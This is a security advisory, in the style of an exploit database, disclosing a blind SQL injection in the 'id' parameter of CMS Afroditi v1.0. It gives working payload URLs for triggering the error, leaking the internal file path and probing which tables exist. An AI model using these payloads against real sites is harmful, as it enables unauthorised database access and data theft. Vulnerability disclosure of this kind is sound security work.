# Exploit Title: CMS Afroditi v.1.0 Blind SQL Injection
# Date: 30/12/2013
# Exploit Author: projectzero labs
# Vendor Homepage: http://www.naxtech.com
# Vendor Informed: 20 & 24/12/2013
# Software Demo: http://afroditi.naxtech.com
# Version: v.1.0

About the software:
===================

Αs indicated in the vendor's site:
CMS Afroditi is a content management system, powerful and user-friendly, mainly aimed at small businesses 
and but also appropriate for firms and organisations of all sizes who are in need for a very flexible yet 
simple system to manage their website.

The CMS is written in ASP and it's using the Microsoft JET Database (Access).


Vulnerability Details:
======================

projectzero labs identified a blind sql injection vulnerability in the "id" variable.


Example:
========

The following URL can be used to trigger an SQL injection vulnerability in the "default.asp" web page:

http://site.tld/default.asp?id=0'


The error that proofs the sql injection vulnerability:

##################################################################
Microsoft JET Database Engine error '80040e14'

Syntax error (missing operator) in query expression 'id = 0'''.

/default.asp, line 104
##################################################################


Exploitation & PoC:
===================

An attacker must brute force all the names for table and column 
used by the website in order to extract data from MS Access database.


Internal path disclosure:

http://site.tld/default.asp?id=1 union select 1 from random.randomtable


The internal path can be discovered through this error output:

##################################################################
Microsoft JET Database Engine error '80004005'

Could not find file 'c:\windows\system32\inetsrv\random.mdb'.

/default.asp, line 104
##################################################################

Example for the table names extraction:

http://site.tld/default.asp?id=25 and 0<=(SELECT count(*) FROM [site]) and 1=1   ---> WHITE PAGE -=> TABLE FOUND!

http://site.tld/default.asp?id=25 and 0<=(SELECT count(*) FROM [notatable]) and 1=1  ---> ERROR -=> TABLE NOT FOUND!



Severity:
=========
High


Credits:
========

projectzero

labs@projectzero.gr
http://www.projectzero.gr